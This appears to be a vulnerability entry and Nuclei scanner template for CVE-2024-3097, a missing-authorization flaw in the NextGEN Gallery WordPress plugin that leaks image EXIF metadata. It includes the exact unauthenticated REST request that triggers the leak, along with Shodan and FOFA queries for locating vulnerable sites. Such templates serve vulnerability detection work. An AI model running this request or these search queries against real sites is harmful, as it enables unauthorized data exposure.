The WordPress Gallery Plugin – NextGEN Gallery plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the get_item function in versions up to, and including, 3.59. This makes it possible for unauthenticated attackers to extract sensitive data including EXIF and other metadata of any image uploaded through the plugin.
PoC代码[已公开]
id: CVE-2024-3097
info:
name: NextGEN Gallery <= 3.59 - Missing Authorization to Unauthenticated Information Disclosure
author: DhiyanesDK
severity: medium
description: |
The WordPress Gallery Plugin – NextGEN Gallery plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the get_item function in versions up to, and including, 3.59. This makes it possible for unauthenticated attackers to extract sensitive data including EXIF and other metadata of any image uploaded through the plugin.
reference:
- https://plugins.trac.wordpress.org/browser/nextgen-gallery/trunk/src/REST/Admin/Block.php#L40
- https://www.wordfence.com/threat-intel/vulnerabilities/id/75f87f99-9f0d-46c2-a6f1-3c1ea0176303?source=cve
- https://zpbrent.github.io/pocs/8-plugin-nextgen-gallery-InfoDis-20240327.mp4
- https://github.com/fkie-cad/nvd-json-data-feeds
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-3097
cwe-id: CWE-862
epss-score: 0.2284
epss-percentile: 0.95695
cpe: cpe:2.3:a:imagely:nextgen_gallery:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: imagely
product: "nextgen_gallery"
framework: wordpress
shodan-query:
- "cpe:\"cpe:2.3:a:imagely:nextgen_gallery\""
- http.html:/wp-content/plugins/nextgen-gallery/
fofa-query: "body=/wp-content/plugins/nextgen-gallery/"
publicwww-query: "/wp-content/plugins/nextgen-gallery/"
tags: cve,cve2024,wordpress,nextgen-gallery,wp-plugin,info-leak,imagely
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/ngg/v1/admin/block/image/1"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"success":'
- '"image":'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4a0a00473045022100e44acfd27f3fefd94b8dccd5af32e289e4ef413fe49915417e7844dcd53f0fda0220535890a0a77fad70b985ea36a6d4d65b2944397c73e6f26db15afd09e9235555:922c64590222798bb761d5b6d8e72950